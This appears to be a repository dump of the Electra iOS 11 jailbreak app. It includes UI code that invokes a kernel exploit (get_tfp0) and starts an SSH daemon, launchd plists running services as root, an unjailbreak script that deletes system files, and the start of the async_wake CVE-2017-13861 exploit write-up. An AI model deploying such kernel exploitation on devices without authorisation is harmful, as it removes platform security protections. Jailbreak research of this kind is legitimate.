https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Assets.xcassets/Button.imageset/Button.png -------------------------------------------------------------------------------- /electra/Assets.xcassets/Button.imageset/Button@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Assets.xcassets/Button.imageset/Button@2x.png -------------------------------------------------------------------------------- /electra/Assets.xcassets/Button.imageset/Button@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Assets.xcassets/Button.imageset/Button@3x.png -------------------------------------------------------------------------------- /electra/Assets.xcassets/Button.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "filename" : "Button.png", 6 | "scale" : "1x" 7 | }, 8 | { 9 | "idiom" : "universal", 10 | "filename" : "Button@2x.png", 11 | "scale" : "2x" 12 | }, 13 | { 14 | "idiom" : "universal", 15 | "filename" : "Button@3x.png", 16 | "scale" : "3x" 17 | } 18 | ], 19 | "info" : { 20 | "version" : 1, 21 | "author" : "xcode" 22 | } 23 | } -------------------------------------------------------------------------------- /electra/Assets.xcassets/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : { 3 | "version" : 1, 4 | "author" : "xcode" 5 | } 6 | } -------------------------------------------------------------------------------- /electra/Assets.xcassets/Header.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "filename" : "Header@1x.png", 6 | "scale" : "1x" 7 | }, 8 | { 9 | "idiom" : "universal", 10 | "filename" : "Header@2x.png", 11 | "scale" : "2x" 12 | }, 13 | { 14 | "idiom" : "universal", 15 | "filename" : "Header@3x.png", 16 | "scale" : "3x" 17 | } 18 | ], 19 | "info" : { 20 | "version" : 1, 21 | "author" : "xcode" 22 | } 23 | } -------------------------------------------------------------------------------- /electra/Assets.xcassets/Header.imageset/Header@1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Assets.xcassets/Header.imageset/Header@1x.png -------------------------------------------------------------------------------- /electra/Assets.xcassets/Header.imageset/Header@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Assets.xcassets/Header.imageset/Header@2x.png -------------------------------------------------------------------------------- /electra/Assets.xcassets/Header.imageset/Header@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Assets.xcassets/Header.imageset/Header@3x.png -------------------------------------------------------------------------------- /electra/Assets.xcassets/Separator.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "filename" : "Separator.png", 6 | "scale" : "1x" 7 | }, 8 | { 9 | "idiom" : "universal", 10 | "filename" : "Separator@2x.png", 11 | "scale" : "2x" 12 | }, 13 | { 14 | "idiom" : "universal", 15 | "filename" : "Separator@3x.png", 16 | "scale" : "3x" 17 | } 18 | ], 19 | "info" : { 20 | "version" : 1, 21 | "author" : "xcode" 22 | } 23 | } -------------------------------------------------------------------------------- /electra/Assets.xcassets/Separator.imageset/Separator.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Assets.xcassets/Separator.imageset/Separator.png -------------------------------------------------------------------------------- /electra/Assets.xcassets/Separator.imageset/Separator@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Assets.xcassets/Separator.imageset/Separator@2x.png -------------------------------------------------------------------------------- /electra/Assets.xcassets/Separator.imageset/Separator@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Assets.xcassets/Separator.imageset/Separator@3x.png -------------------------------------------------------------------------------- /electra/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | $(DEVELOPMENT_LANGUAGE) 7 | CFBundleDisplayName 8 | Electra 9 | CFBundleExecutable 10 | $(EXECUTABLE_NAME) 11 | CFBundleIdentifier 12 | $(PRODUCT_BUNDLE_IDENTIFIER) 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundleName 16 | $(PRODUCT_NAME) 17 | CFBundlePackageType 18 | APPL 19 | CFBundleShortVersionString 20 | 1.0 21 | CFBundleVersion 22 | 1 23 | LSRequiresIPhoneOS 24 | 25 | UILaunchStoryboardName 26 | LaunchScreen 27 | UIMainStoryboardFile 28 | Main 29 | UIRequiredDeviceCapabilities 30 | 31 | armv7 32 | 33 | UISupportedInterfaceOrientations 34 | 35 | UIInterfaceOrientationPortrait 36 | UIInterfaceOrientationLandscapeLeft 37 | UIInterfaceOrientationLandscapeRight 38 | 39 | UISupportedInterfaceOrientations~ipad 40 | 41 | UIInterfaceOrientationPortrait 42 | UIInterfaceOrientationPortraitUpsideDown 43 | UIInterfaceOrientationLandscapeLeft 44 | UIInterfaceOrientationLandscapeRight 45 | 46 | UISupportsDocumentBrowser 47 | 48 | CFBundleIcons 49 | 50 | CFBundlePrimaryIcon 51 | 52 | CFBundleIconFileName 53 | AppIcon60x60 54 | CFBundleIconFiles 55 | 56 | AppIcon60x60 57 | AppIcon76x76 58 | AppIcon60x60@2x 59 | AppIcon76x76@2x 60 | AppIcon60x60@3x 61 | AppIcon83.5x83.5@2x 62 | 63 | UIPrerenderedIcon 64 | 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /electra/NSData+GZip.h: -------------------------------------------------------------------------------- 1 | // 2 | // GZIP.h 3 | // 4 | // Version 1.2.1 5 | // 6 | // Created by Nick Lockwood on 03/06/2012. 7 | // Copyright (C) 2012 Charcoal Design 8 | // 9 | // Distributed under the permissive zlib License 10 | // Get the latest version from here: 11 | // 12 | // https://github.com/nicklockwood/GZIP 13 | // 14 | // This software is provided 'as-is', without any express or implied 15 | // warranty. In no event will the authors be held liable for any damages 16 | // arising from the use of this software. 17 | // 18 | // Permission is granted to anyone to use this software for any purpose, 19 | // including commercial applications, and to alter it and redistribute it 20 | // freely, subject to the following restrictions: 21 | // 22 | // 1. The origin of this software must not be misrepresented; you must not 23 | // claim that you wrote the original software. If you use this software 24 | // in a product, an acknowledgment in the product documentation would be 25 | // appreciated but is not required. 26 | // 27 | // 2. Altered source versions must be plainly marked as such, and must not be 28 | // misrepresented as being the original software. 29 | // 30 | // 3. This notice may not be removed or altered from any source distribution. 31 | // 32 | 33 | 34 | #import 35 | 36 | 37 | @interface NSData (GZIP) 38 | 39 | - (nullable NSData *)gzippedDataWithCompressionLevel:(float)level; 40 | - (nullable NSData *)gzippedData; 41 | - (nullable NSData *)gunzippedData; 42 | - (BOOL)isGzippedData; 43 | 44 | @end 45 | -------------------------------------------------------------------------------- /electra/NSData+GZip.m: -------------------------------------------------------------------------------- 1 | // 2 | // GZIP.m 3 | // 4 | // Version 1.2.1 5 | // 6 | // Created by Nick Lockwood on 03/06/2012. 7 | // Copyright (C) 2012 Charcoal Design 8 | // 9 | // Distributed under the permissive zlib License 10 | // Get the latest version from here: 11 | // 12 | // https://github.com/nicklockwood/GZIP 13 | // 14 | // This software is provided 'as-is', without any express or implied 15 | // warranty. In no event will the authors be held liable for any damages 16 | // arising from the use of this software. 17 | // 18 | // Permission is granted to anyone to use this software for any purpose, 19 | // including commercial applications, and to alter it and redistribute it 20 | // freely, subject to the following restrictions: 21 | // 22 | // 1. The origin of this software must not be misrepresented; you must not 23 | // claim that you wrote the original software. If you use this software 24 | // in a product, an acknowledgment in the product documentation would be 25 | // appreciated but is not required. 26 | // 27 | // 2. Altered source versions must be plainly marked as such, and must not be 28 | // misrepresented as being the original software. 29 | // 30 | // 3. This notice may not be removed or altered from any source distribution. 31 | // 32 | 33 | 34 | #import "NSData+GZip.h" 35 | #import 36 | 37 | 38 | #pragma clang diagnostic ignored "-Wcast-qual" 39 | 40 | 41 | @implementation NSData (GZIP) 42 | 43 | - (NSData *)gzippedDataWithCompressionLevel:(float)level 44 | { 45 | if (self.length == 0 || [self isGzippedData]) 46 | { 47 | return self; 48 | } 49 | 50 | z_stream stream; 51 | stream.zalloc = Z_NULL; 52 | stream.zfree = Z_NULL; 53 | stream.opaque = Z_NULL; 54 | stream.avail_in = (uint)self.length; 55 | stream.next_in = (Bytef *)(void *)self.bytes; 56 | stream.total_out = 0; 57 | stream.avail_out = 0; 58 | 59 | static const NSUInteger ChunkSize = 16384; 60 | 61 | NSMutableData *output = nil; 62 | int compression = (level < 0.0f)? Z_DEFAULT_COMPRESSION: (int)(roundf(level * 9)); 63 | if (deflateInit2(&stream, compression, Z_DEFLATED, 31, 8, Z_DEFAULT_STRATEGY) == Z_OK) 64 | { 65 | output = [NSMutableData dataWithLength:ChunkSize]; 66 | while (stream.avail_out == 0) 67 | { 68 | if (stream.total_out >= output.length) 69 | { 70 | output.length += ChunkSize; 71 | } 72 | stream.next_out = (uint8_t *)output.mutableBytes + stream.total_out; 73 | stream.avail_out = (uInt)(output.length - stream.total_out); 74 | deflate(&stream, Z_FINISH); 75 | } 76 | deflateEnd(&stream); 77 | output.length = stream.total_out; 78 | } 79 | 80 | return output; 81 | } 82 | 83 | - (NSData *)gzippedData 84 | { 85 | return [self gzippedDataWithCompressionLevel:-1.0f]; 86 | } 87 | 88 | - (NSData *)gunzippedData 89 | { 90 | if (self.length == 0 || ![self isGzippedData]) 91 | { 92 | return self; 93 | } 94 | 95 | z_stream stream; 96 | stream.zalloc = Z_NULL; 97 | stream.zfree = Z_NULL; 98 | stream.avail_in = (uint)self.length; 99 | stream.next_in = (Bytef *)self.bytes; 100 | stream.total_out = 0; 101 | stream.avail_out = 0; 102 | 103 | NSMutableData *output = nil; 104 | if (inflateInit2(&stream, 47) == Z_OK) 105 | { 106 | int status = Z_OK; 107 | output = [NSMutableData dataWithCapacity:self.length * 2]; 108 | while (status == Z_OK) 109 | { 110 | if (stream.total_out >= output.length) 111 | { 112 | output.length += self.length / 2; 113 | } 114 | stream.next_out = (uint8_t *)output.mutableBytes + stream.total_out; 115 | stream.avail_out = (uInt)(output.length - stream.total_out); 116 | status = inflate (&stream, Z_SYNC_FLUSH); 117 | } 118 | if (inflateEnd(&stream) == Z_OK) 119 | { 120 | if (status == Z_STREAM_END) 121 | { 122 | output.length = stream.total_out; 123 | } 124 | } 125 | } 126 | 127 | return output; 128 | } 129 | 130 | - (BOOL)isGzippedData 131 | { 132 | const UInt8 *bytes = (const UInt8 *)self.bytes; 133 | return (self.length >= 2 && bytes[0] == 0x1f && bytes[1] == 0x8b); 134 | } 135 | 136 | @end 137 | -------------------------------------------------------------------------------- /electra/Resources/AppIcon20x20.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Resources/AppIcon20x20.png -------------------------------------------------------------------------------- /electra/Resources/AppIcon20x20@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Resources/AppIcon20x20@2x.png -------------------------------------------------------------------------------- /electra/Resources/AppIcon20x20@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Resources/AppIcon20x20@3x.png -------------------------------------------------------------------------------- /electra/Resources/AppIcon40x40.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Resources/AppIcon40x40.png -------------------------------------------------------------------------------- /electra/Resources/AppIcon40x40@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Resources/AppIcon40x40@2x.png -------------------------------------------------------------------------------- /electra/Resources/AppIcon40x40@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Resources/AppIcon40x40@3x.png -------------------------------------------------------------------------------- /electra/Resources/AppIcon60x60@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Resources/AppIcon60x60@2x.png -------------------------------------------------------------------------------- /electra/Resources/AppIcon60x60@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Resources/AppIcon60x60@3x.png -------------------------------------------------------------------------------- /electra/Resources/AppIcon76x76.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Resources/AppIcon76x76.png -------------------------------------------------------------------------------- /electra/Resources/AppIcon76x76@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Resources/AppIcon76x76@2x.png -------------------------------------------------------------------------------- /electra/Resources/AppIcon83.5x83.5@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/Resources/AppIcon83.5x83.5@2x.png -------------------------------------------------------------------------------- /electra/app/AppDelegate.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface AppDelegate : UIResponder 4 | 5 | @property (strong, nonatomic) UIWindow *window; 6 | 7 | 8 | @end 9 | 10 | -------------------------------------------------------------------------------- /electra/app/AppDelegate.m: -------------------------------------------------------------------------------- 1 | #import "AppDelegate.h" 2 | #include "async_wake.h" 3 | #include "fun.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #import 10 | 11 | extern int MISValidateSignatureAndCopyInfo (CFStringRef File, CFDictionaryRef Opts, NSDictionary *Info); 12 | extern CFStringRef MISCopyErrorStringForErrorCode(int Error); 13 | 14 | typedef int (*t)(CFStringRef f, CFDictionaryRef o, NSDictionary** I); 15 | typedef CFStringRef (*w)(int e); 16 | 17 | @interface AppDelegate () 18 | 19 | @end 20 | 21 | @implementation AppDelegate 22 | 23 | 24 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { 25 | [self jailbreakShortcut]; 26 | return YES; 27 | } 28 | 29 | - (void)jailbreakShortcut { 30 | NSMutableArray *shortcutItems = [NSMutableArray array]; 31 | UIApplicationShortcutItem *jb = [[UIApplicationShortcutItem alloc]initWithType:@"1" localizedTitle:@"Jailbreak"]; 32 | [shortcutItems addObject:jb]; 33 | [[UIApplication sharedApplication] setShortcutItems:shortcutItems]; 34 | } 35 | 36 | - (void)application:(UIApplication *)application performActionForShortcutItem:(UIApplicationShortcutItem *)shortcutItem completionHandler:(void (^)(BOOL))completionHandler { 37 | switch (shortcutItem.type.integerValue) { 38 | case 1: { 39 | [[NSNotificationCenter defaultCenter] postNotificationName:@"Jailbreak" object:self userInfo:@{@"type":@"1"}]; 40 | } break; 41 | } 42 | } 43 | 44 | - (void)applicationWillResignActive:(UIApplication *)application { 45 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. 46 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. 47 | } 48 | 49 | 50 | - (void)applicationDidEnterBackground:(UIApplication *)application { 51 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. 52 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. 53 | } 54 | 55 | 56 | - (void)applicationWillEnterForeground:(UIApplication *)application { 57 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. 58 | } 59 | 60 | 61 | - (void)applicationDidBecomeActive:(UIApplication *)application { 62 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. 63 | } 64 | 65 | 66 | - (void)applicationWillTerminate:(UIApplication *)application { 67 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. 68 | } 69 | 70 | 71 | @end 72 | -------------------------------------------------------------------------------- /electra/app/Base.lproj/LaunchScreen.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /electra/app/controllers/ViewController.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface ViewController : UIViewController { 4 | IBOutlet UISwitch *enableTweaks; 5 | IBOutlet UIButton *jailbreak; 6 | } 7 | @end 8 | 9 | -------------------------------------------------------------------------------- /electra/app/controllers/ViewController.m: -------------------------------------------------------------------------------- 1 | #import "ViewController.h" 2 | #include "async_wake.h" 3 | #include "fun.h" 4 | #include "codesign.h" 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | @interface ViewController () 12 | 13 | @end 14 | 15 | @implementation ViewController 16 | 17 | - (void)checkVersion { 18 | NSString *rawgitHistory = [NSString stringWithContentsOfFile:[[NSBundle mainBundle] pathForResource:@"githistory" ofType:@"txt"] encoding:NSUTF8StringEncoding error:nil]; 19 | __block NSArray *gitHistory = [rawgitHistory componentsSeparatedByString:@"\n"]; 20 | dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0ul), ^{ 21 | NSData *data = [NSData dataWithContentsOfURL:[NSURL URLWithString:@"https://coolstar.org/electra/gitlatest.txt"]]; 22 | // User isn't on a network, or the request failed 23 | if (data == nil) return; 24 | 25 | NSString *gitCommit = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; 26 | 27 | if (![gitHistory containsObject:gitCommit]){ 28 | dispatch_async(dispatch_get_main_queue(), ^{ 29 | UIAlertController *alertController = [UIAlertController alertControllerWithTitle:@"Update Available!" message:@"An update for Electra is available! Please visit https://coolstar.org/electra/ on a computer to download the latest IPA!" preferredStyle:UIAlertControllerStyleAlert]; 30 | [alertController addAction:[UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault handler:nil]]; 31 | [self presentViewController:alertController animated:YES completion:nil]; 32 | }); 33 | } 34 | }); 35 | } 36 | 37 | - (void)viewDidLoad { 38 | [super viewDidLoad]; 39 | [self checkVersion]; 40 | 41 | NSNotificationCenter* notificationCenter = [NSNotificationCenter defaultCenter]; 42 | 43 | BOOL enable3DTouch = YES; 44 | 45 | if (kCFCoreFoundationVersionNumber < 1443 || kCFCoreFoundationVersionNumber > 1445.32){ 46 | [jailbreak setEnabled:NO]; 47 | [enableTweaks setEnabled:NO]; 48 | [jailbreak setTitle:@"Version Error" forState:UIControlStateNormal]; 49 | 50 | enable3DTouch = NO; 51 | } 52 | 53 | uint32_t flags; 54 | csops(getpid(), CS_OPS_STATUS, &flags, 0); 55 | 56 | if ((flags & CS_PLATFORM_BINARY)){ 57 | [jailbreak setEnabled:NO]; 58 | [enableTweaks setEnabled:NO]; 59 | [jailbreak setTitle:@"Already Jailbroken" forState:UIControlStateNormal]; 60 | 61 | enable3DTouch = NO; 62 | } 63 | 64 | if (enable3DTouch){ 65 | [notificationCenter addObserver:self selector:@selector(doit:) name:@"Jailbreak" object:nil]; 66 | } 67 | // Do any additional setup after loading the view, typically from a nib. 68 | } 69 | 70 | - (IBAction)credits:(id)sender { 71 | UIAlertController *alertController = [UIAlertController alertControllerWithTitle:@"Credits" message:@"Electra is brought to you by CoolStar, Ian Beer, theninjaprawn, stek29, Siguza and xerub.\n\nElectra includes the following software:\namfid patch by theninjaprawn\njailbreakd & tweak injection by CoolStar\nunlocknvram & sandbox fixes by stek29\nlibsubstitute by comex\nContains code from simject by angelXwind\nAnemone by CoolStar, kirb, isklikas and goeo\nPreferenceLoader by DHowett & rpetrich" preferredStyle:UIAlertControllerStyleAlert]; 72 | [alertController addAction:[UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault handler:nil]]; 73 | [self presentViewController:alertController animated:YES completion:nil]; 74 | } 75 | 76 | - (IBAction)doit:(id)sender { 77 | [jailbreak setEnabled:NO]; 78 | [enableTweaks setEnabled:NO]; 79 | 80 | [jailbreak setTitle:@"Please Wait (1/3)" forState:UIControlStateNormal]; 81 | 82 | BOOL shouldEnableTweaks = [enableTweaks isOn]; 83 | 84 | dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{ 85 | mach_port_t user_client; 86 | mach_port_t tfp0 = get_tfp0(&user_client); 87 | 88 | dispatch_async(dispatch_get_main_queue(), ^{ 89 | [jailbreak setTitle:@"Please Wait (2/3)" forState:UIControlStateNormal]; 90 | }); 91 | 92 | if (begin_fun(tfp0, user_client, shouldEnableTweaks) == 0){ 93 | dispatch_async(dispatch_get_main_queue(), ^{ 94 | [jailbreak setTitle:@"Jailbroken" forState:UIControlStateNormal]; 95 | 96 | UIAlertController *dropbearRunning = [UIAlertController alertControllerWithTitle:@"Dropbear Running" message:@"Dropbear is now running! Enjoy." preferredStyle:UIAlertControllerStyleAlert]; 97 | [dropbearRunning addAction:[UIAlertAction actionWithTitle:@"Exit" style:UIAlertActionStyleCancel handler:^(UIAlertAction * _Nonnull action) { 98 | [dropbearRunning dismissViewControllerAnimated:YES completion:nil]; 99 | exit(0); 100 | }]]; 101 | [self presentViewController:dropbearRunning animated:YES completion:nil]; 102 | }); 103 | } else { 104 | dispatch_async(dispatch_get_main_queue(), ^{ 105 | [jailbreak setTitle:@"Error Jailbreaking" forState:UIControlStateNormal]; 106 | }); 107 | } 108 | 109 | NSLog(@" ♫ KPP never bothered me anyway... ♫ "); 110 | }); 111 | } 112 | 113 | - (UIStatusBarStyle)preferredStatusBarStyle { 114 | return UIStatusBarStyleLightContent; 115 | } 116 | 117 | - (void)dealloc { 118 | [[NSNotificationCenter defaultCenter] removeObserver:self]; 119 | } 120 | 121 | @end 122 | -------------------------------------------------------------------------------- /electra/app/view/CSGradientView.h: -------------------------------------------------------------------------------- 1 | // 2 | // CSGradientView.h 3 | // async_wake_ios 4 | // 5 | // Created by CoolStar on 1/12/18. 6 | // Copyright © 2018 CoolStar. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface CSGradientView : UIView 12 | 13 | @end 14 | -------------------------------------------------------------------------------- /electra/app/view/CSGradientView.m: -------------------------------------------------------------------------------- 1 | // 2 | // CSGradientView.m 3 | // async_wake_ios 4 | // 5 | // Created by CoolStar on 1/12/18. 6 | // Copyright © 2018 CoolStar. All rights reserved. 7 | // 8 | 9 | #import "CSGradientView.h" 10 | #import 11 | 12 | @implementation CSGradientView 13 | 14 | - (instancetype)initWithCoder:(NSCoder *)aDecoder { 15 | self = [super initWithCoder:aDecoder]; 16 | if (self){ 17 | CAGradientLayer *layer = (CAGradientLayer *)self.layer; 18 | layer.startPoint = CGPointMake(0, 0); 19 | layer.endPoint = CGPointMake(1, 1); 20 | layer.colors = @[(id)[[UIColor colorWithRed:43.0f/255.0f green:49.0f/255.0f blue:75.0f/255.0f alpha:1.0f] CGColor], (id)[[UIColor colorWithRed:82.0f/255.0f green:104.0f/255.0f blue:118.0f/255.0f alpha:1.0f] CGColor]]; 21 | } 22 | return self; 23 | } 24 | 25 | + (Class)layerClass { 26 | return [CAGradientLayer class]; 27 | } 28 | 29 | /* 30 | // Only override drawRect: if you perform custom drawing. 31 | // An empty implementation adversely affects performance during animation. 32 | - (void)drawRect:(CGRect)rect { 33 | // Drawing code 34 | } 35 | */ 36 | 37 | @end 38 | -------------------------------------------------------------------------------- /electra/bootstrap/anemoneapp.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/bootstrap/anemoneapp.tar -------------------------------------------------------------------------------- /electra/bootstrap/binaries/test.m: -------------------------------------------------------------------------------- 1 | // xcrun -sdk iphoneos gcc -dynamiclib -arch arm64 -framework Foundation -o test.dylib test.m 2 | // jtool --sign --inplace test.dylib 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #import 22 | 23 | __attribute__ ((constructor)) 24 | static void ctor(void) { 25 | NSLog(@"Unsigned dylib!!"); 26 | } 27 | -------------------------------------------------------------------------------- /electra/bootstrap/binaries/unjailbreak.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Usage: "bash unjailbreak.sh" 4 | 5 | echo "About to uninstall the Electra jailbreak toolkit" 6 | echo "Assuming you have not installed any other jailbreak or modified the rootfs directly yourself, you should be on stock iOS once this is complete" 7 | read -p "Press enter to continue. Press Ctrl + C to exit" 8 | 9 | 10 | rm -rf /Applications/Anemone.app 11 | rm -rf /Applications/SafeMode.app 12 | rm /usr/lib/SBInject.dylib 13 | rm -rf /usr/lib/SBInject 14 | rm /usr/lib/libsubstitute.0.dylib 15 | rm /usr/lib/libsubstitute.dylib 16 | rm /usr/lib/libsubstrate.dylib 17 | rm /usr/lib/libjailbreak.dylib 18 | rm /usr/bin/recache 19 | rm /usr/bin/killall 20 | rm /usr/share/terminfo 21 | rm /usr/libexec/sftp-server 22 | rm -rf /Library/Frameworks/CydiaSubstrate.framework 23 | rm /Library/Themes 24 | uicache 25 | rm -rf /bootstrap 26 | echo "Your device has been wiped clean of all files from CoolStar's iOS 11 development kit!" 27 | echo "Rebooting..." 28 | kill 1 29 | -------------------------------------------------------------------------------- /electra/bootstrap/dropbear.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Label 6 | Dropbear 7 | Program 8 | /bootstrap/usr/local/bin/dropbear 9 | EnvironmentVariables 10 | 11 | PS1 12 | \h:\w \u\$ 13 | PATH 14 | /bootstrap/usr/local/bin:/bootstrap/usr/sbin:/bootstrap/usr/bin:/bootstrap/sbin:/bootstrap/bin:/bin:/usr/bin:/sbin 15 | BOOTSTRAP_PREFIX 16 | /bootstrap 17 | 18 | ProgramArguments 19 | 20 | /bootstrap/usr/local/bin/dropbear 21 | -S 22 | /bootstrap 23 | -p 24 | 22 25 | -p 26 | 2222 27 | -F 28 | 29 | RunAtLoad 30 | 31 | KeepAlive 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /electra/bootstrap/gnubinpack.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/bootstrap/gnubinpack.tar -------------------------------------------------------------------------------- /electra/bootstrap/jailbreakd.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Label 6 | jailbreakd 7 | Program 8 | /bootstrap/jailbreakd 9 | 11 | EnvironmentVariables 12 | 13 | KernelBase 14 | 0x746f6d6f68696d61 15 | 16 | MachServices 17 | 18 | com.apple.uikit.viewservice.xxx.dainsleif.xpc 19 | 20 | 21 | UserName 22 | root 23 | RunAtLoad 24 | 25 | KeepAlive 26 | 27 | StandardErrorPath 28 | /var/log/jailbreakd-stderr.log 29 | StandardOutPath 30 | /var/log/jailbreakd-stdout.log 31 | 32 | 33 | -------------------------------------------------------------------------------- /electra/bootstrap/safemode.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/bootstrap/safemode.tar -------------------------------------------------------------------------------- /electra/bootstrap/tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/bootstrap/tar.gz -------------------------------------------------------------------------------- /electra/bootstrap/tweaksupport.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolstar/electra/2915d552cc7008757cc7983b704bf22f31f8780e/electra/bootstrap/tweaksupport.tar -------------------------------------------------------------------------------- /electra/ent.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | com.apple.system-task-ports 6 | 7 | task_for_pid-allow 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /electra/exploit/README: -------------------------------------------------------------------------------- 1 | async_wake - iOS 11.1.2 kernel exploit and PoC local kernel debugger by @i41nbeer 2 | 3 | Supported Devices: 4 | tfp0: all 64-bit devices running 11.1.2 5 | 6 | tfp0 + local kernel debugger: the devices I have on my desk running 11.1.2 (iPhone 7, iPhone 6s, iPod Touch 6G) 7 | theoretically it will also work for all other devices, you just need to find the symbols 8 | 9 | PoC local kernel debugger: 10 | You can pause the execution of a syscall at arbitrary points and modify kernel state (registers and memory) then continue it. 11 | See kdbg.c for details and implementation. 12 | 13 | The bugs: 14 | 15 | === CVE-2017-13861 === 16 | [https://bugs.chromium.org/p/project-zero/issues/detail?id=1417] 17 | 18 | I have previously detailed the lifetime management paradigms in MIG in the writeups for: 19 | CVE-2016-7612 [https://bugs.chromium.org/p/project-zero/issues/detail?id=926] 20 | and 21 | CVE-2016-7633 [https://bugs.chromium.org/p/project-zero/issues/detail?id=954] 22 | 23 | If a MIG method returns KERN_SUCCESS it means that the method took ownership of *all* the arguments passed to it. 24 | If a MIG method returns an error code, then it took ownership of *none* of the arguments passed to it. 25 | 26 | If an IOKit userclient external method takes an async wake mach port argument then the lifetime of the reference 27 | on that mach port passed to the external method will be managed by MIG semantics. If the external method returns 28 | an error 